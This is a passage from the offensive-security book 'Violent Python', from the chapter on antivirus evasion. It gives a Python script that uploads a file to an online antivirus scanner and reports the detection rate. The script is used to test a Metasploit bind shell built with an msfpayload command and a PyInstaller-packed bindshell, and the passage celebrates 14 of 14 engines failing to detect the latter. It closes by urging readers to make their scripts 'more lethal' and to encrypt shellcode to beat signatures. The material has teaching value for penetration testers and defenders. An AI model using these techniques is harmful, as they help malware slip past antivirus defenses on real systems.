Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers (31 page)

BOOK: Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers
8.81Mb size Format: txt, pdf, ePub
Verifying Evasion

We will use the service
vscan.novirusthanks.org
to scan our executable. NoVirusThanks provides a Web page interface to upload suspect files and scan them against 14 different antivirus engines. While uploading the malicious file using the Web page interface would tell us what we want to know, let’s use this opportunity to write a quick Python script to automate the process. Capturing a tcpdump of the interaction with the Web page interface gives us a good starting point for our Python script. We can see here that the HTTP header includes a setting for the boundary that surrounds the file contents. Our script will require this header and these parameters in order to submit the file:

 POST / HTTP/1.1

Host:
vscan.novirusthanks.org

 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U

Referer:
http://vscan.novirusthanks.org/

 Accept-Language: en-us

 Accept-Encoding: gzip, deflate

 -------WebKitFormBoundaryF17rwCZdGuPNPT9U

 Content-Disposition: form-data; name=“upfile”; filename=“bindshell.exe”

 Content-Type: application/octet-stream

 <..SNIPPED FILE CONTENTS..>

 ------WebKitFormBoundaryF17rwCZdGuPNPT9U

 Content-Disposition: form-data; name=“submitfile”

 Submit File

 ------WebKitFormBoundaryF17rwCZdGuPNPT9U--

We will now write a quick Python function utilizing the httplib that takes the file name as a parameter. After opening the file and reading the contents, it creates a connection to
vscan.novirusthanks.org
and posts the header and data parameters. The page returns a response that refers to the
location
page containing the analysis of the uploaded file:

 def uploadFile(fileName):

 print “[+] Uploading file to NoVirusThanks...”

 fileContents = open(fileName, ‘rb’).read()

 header = {’Content-Type’: ‘multipart/form-data; \

 boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U’}

 params = “------WebKitFormBoundaryF17rwCZdGuPNPT9U”

 params += “\r\nContent-Disposition: form-data; “+\

   “name=\"upfile\”; filename=\“”+str(fileName)+"\“”

 params += “\r\nContent-Type: “+\

“application/octet stream\r\n\r\n”

 params += fileContents

 params += “\r\n------WebKitFormBoundaryF17rwCZdGuPNPT9U”

 params += “\r\nContent-Disposition: form-data; “+\

   “name=\"submitfile\"\r\n”

 params += “\r\nSubmit File\r\n”

 params +=“------WebKitFormBoundaryF17rwCZdGuPNPT9U--\r\n”

conn = httplib.HTTPConnection(’
vscan.novirusthanks.org
‘)

 conn.request(“POST”, ”/”, params, header)

 response = conn.getresponse()

 location = response.getheader(‘location’)

 conn.close()

 return location

Examining the returned location field from
vscan.novirusthanks.org
, we see the server constructs the returned page from
http://vscan.novirusthanks.org
+ /
file
/ + md5sum(file contents) + / + base64(filename)/. The page contains some JavaScript to print a message saying
scanning file
and reload the page until a full analysis page is ready. At that point, the page returns an HTTP status code 302, which redirects to
http://vscan.novirusthanks.org
+ /
analysis
/ + md5sum(file contents) + / + base64(filename)/. Our new page simply swaps the word
file
for
analysis
in the URL:

 Date: Mon, 18 Jun 2012 16:45:48 GMT

 Server: Apache

Location:
http://vscan.novirusthanks.org/file/d5bb12e32840f4c3fa00662e412a66fc/bXNmLWV4ZQ==/

Looking over the source of the analysis page, we see it contains a string with the detection rate. The string contains some CSS code that we will need to strip away in order to print it to a console screen:

 [i]File Info[/i]

 Report date: 2012-06-18 18:48:20 (GMT 1)

 File name: [b]bindshell-exe[/b]

 File size: 73802 bytes

 MD5 Hash: d5bb12e32840f4c3fa00662e412a66fc

 SHA1 Hash: e9309c2bb3f369dfbbd9b42deaf7c7ee5c29e364

 Detection rate: [color=red]0[/color] on 14 ([color=red]0%[/color])

With an understanding of how to connect to the analysis page and strip the CSS code, we can write a Python script to print the scanning results of our suspect uploaded file. First, our script connects to the
file
page, which returns a
scanning in progress
message. Once this page returns an HTTP 302 redirect to our
analysis
page, we can use a regular expression to read the detection rate and then replace the CSS code with a blank string. We will then print the detection rate string to the screen:

 def printResults(url):

  status = 200

  host = urlparse(url)[1]

  path = urlparse(url)[2]

  if ‘analysis’ not in path:

   while status != 302:

    conn = httplib.HTTPConnection(host)

    conn.request(‘GET’, path)

    resp = conn.getresponse()

    status = resp.status

    print ‘[+] Scanning file...’

    conn.close()

    time.sleep(15)

   print ‘[+] Scan Complete.’

   path = path.replace(‘file’, ‘analysis’)

   conn = httplib.HTTPConnection(host)

   conn.request(‘GET’, path)

   resp = conn.getresponse()

   data = resp.read()

   conn.close()

   reResults = re.findall(r’Detection rate:.*\) ‘, data)

   htmlStripRes = reResults[1].\

   replace(‘<font color=\’red\’>’, ‘’).\

   replace(‘</font>’, ‘’)

   print ‘[+] ’ + str(htmlStripRes)

Adding some option parsing,we now have a script capable of uploading a file, scanning it using the
vscan.novirusthanks.org
service, and printing the detection rate:

 import re

 import httplib

 import time

 import os

 import optparse

 from urlparse import urlparse

 def printResults(url):

  status = 200

  host = urlparse(url)[1]

  path = urlparse(url)[2]

  if ‘analysis’ not in path:

    while status != 302:

     conn = httplib.HTTPConnection(host)

     conn.request(‘GET’, path)

     resp = conn.getresponse()

     status = resp.status

     print ‘[+] Scanning file...’

     conn.close()

    time.sleep(15)

  print ‘[+] Scan Complete.’

  path = path.replace(‘file’, ‘analysis’)

  conn = httplib.HTTPConnection(host)

  conn.request(‘GET’, path)

  resp = conn.getresponse()

  data = resp.read()

  conn.close()

  reResults = re.findall(r’Detection rate:.*\) ‘, data)

  htmlStripRes = reResults[1].\

   replace(‘<font color=\’red\’>’, ‘’).\

   replace(‘</font>’, ‘’)

  print ‘[+] ’ + str(htmlStripRes)

 def uploadFile(fileName):

  print “[+] Uploading file to NoVirusThanks...”

  fileContents = open(fileName, ‘rb’).read()

  header = {’Content-Type’: ‘multipart/form-data; \

   boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U’}

  params = “------WebKitFormBoundaryF17rwCZdGuPNPT9U”

  params += “\r\nContent-Disposition: form-data; “+\

   “name=\"upfile\”; filename=\“”+str(fileName)+"\“”

  params += “\r\nContent-Type: “+\

   “application/octet stream\r\n\r\n”

  params += fileContents

  params += “\r\n------WebKitFormBoundaryF17rwCZdGuPNPT9U”

  params += “\r\nContent-Disposition: form-data; “+\

   “name=\"submitfile\"\r\n”

  params += “\r\nSubmit File\r\n”

  params +=“------WebKitFormBoundaryF17rwCZdGuPNPT9U--\r\n”

 conn = httplib.HTTPConnection(’
vscan.novirusthanks.org
‘)

  conn.request(“POST”, ”/”, params, header)

  response = conn.getresponse()

  location = response.getheader(‘location’)

  conn.close()

  return location

 def main():

  parser = optparse.OptionParser(‘usage%prog -f ’)

  parser.add_option(‘-f’, dest=‘fileName’, type=‘string’, \

   help=‘specify filename’)

  (options, args) = parser.parse_args()

  fileName = options.fileName

  if fileName == None:

   print parser.usage

   exit(0)

  elif os.path.isfile(fileName) == False:

   print ‘[+] ’ + fileName + ’ does not exist.’

   exit(0)

  else:

   loc = uploadFile(fileName)

   printResults(loc)

 if __name__ == ‘__main__’:

  main()

Let’s first test a known malicious executable to verify whether an antivirus program can successfully detect it. We will build a Windows TCP bindshell that binds TCP port 1337. Using the default Metasploit encoder, we will encode it into a standard Windows executable. Noticing the results, we can see that 10 out of 14 antivirus engines detected the file as malicious. This file will obviously not evade a decent antivirus program:

 attacker$ msfpayload windows/shell_bind_tcp LPORT=1337 X > bindshell.exe

Created by msfpayload (
http://www.metasploit.com
).

 Payload: windows/shell_bind_tcp

  Length: 341

 Options: {“LPORT"=>"1337”}

 attacker$ python virusCheck.py –f bindshell.exe

 [+] Uploading file to NoVirusThanks...

 [+] Scanning file...

 [+] Scanning file...

 [+] Scanning file...

 [+] Scanning file...

 [+] Scanning file...

 [+] Scanning file...

 [+] Scanning file...

 [+] Scanning file...

 [+] Scanning file...

 [+] Scan Complete.

 [+] Detection rate: 10 on 14 (71%)

However, running our virusCheck.py script against our Python script compiled executable, we can upload it to NoVirusThanks and see that 14 out of 14 antivirus engines failed to detect it as malicious. Success! We can achieve complete antivirus avoidance with a little bit of Python:

 C:\Users\victim\pyinstaller-1.5.1>python.exe virusCheck.py -f bindshell\dist\bindshell.exe

 [+] Uploading file to NoVirusThanks...

 [+] Scan Complete.

 [+] Scanning file...

 [+] Scanning file...

 [+] Scanning file...

 [+] Scanning file...

 [+] Scanning file...

 [+] Scanning file...

 [+] Detection rate: 0 on 14 (0%)

Wrap Up

Congratulations! You have finished the final chapter, and hopefully the book as well. The preceding pages have covered a variety of different concepts. Beginning with how to write some Python code to assist with network
penetration tests, we transitioned into writing code for studying forensic artifacts, analyzing network traffic, causing wireless mayhem and analyzing Web pages and social media. This final chapter explained a method for writing malicious programs capable of evading antivirus scanners.

After finishing this book, return to the previous chapters. How can you modify the scripts to suit your specific needs? How can you make them more effective, efficient, or lethal? Consider the example in this chapter. Can you use an encryption cipher to encode the shellcode prior to execution in order to evade an antivirus signature? What will you write in Python today? With these thoughts, we leave you with a few words of wisdom from Aristotle.

“We make war that we may live in peace.”

References

1. Baggett, M. (2011). Tips for evading anti-virus during pen testing.
SANS Pentest Blog
. Retrieved from

, October 13.

2. Computer Emergency Response Team Coordination Center (CERTCC). (2012). Identification of a new targeted cyber-attack. CERTCC IRAN. Retrieved from

, May 28.

3. Gostev, A. (2012). The Flame: Questions and answers. Securelist – Information about viruses, hackers and spam. Retrieved from

, May 28.

4. sKyWIper Analysis Team. (2012). sKyWIper (a.k.a. Flame;a.k.a. Flamer): A complex malware for targeted attacks. Laboratory of Cryptography and System Security (CrySyS Lab)/Department of Communications, Budapest University of Technology and Economics. Retrieved from

, May 31.

5. Zetter, K. (2012). “Flame” spyware infiltrating Iranian computers. CNN.com. Retrieved from

, May 30.

Other books

Whitstable by Volk, Stephen
Liahona by D. J. Butler
The Interrogator by Andrew Williams
The Ghost Chronicles by Maureen Wood
His Southern Temptation by Robin Covington
Megan's Men by Tessie Bradford
The Day the Falls Stood Still by Cathy Marie Buchanan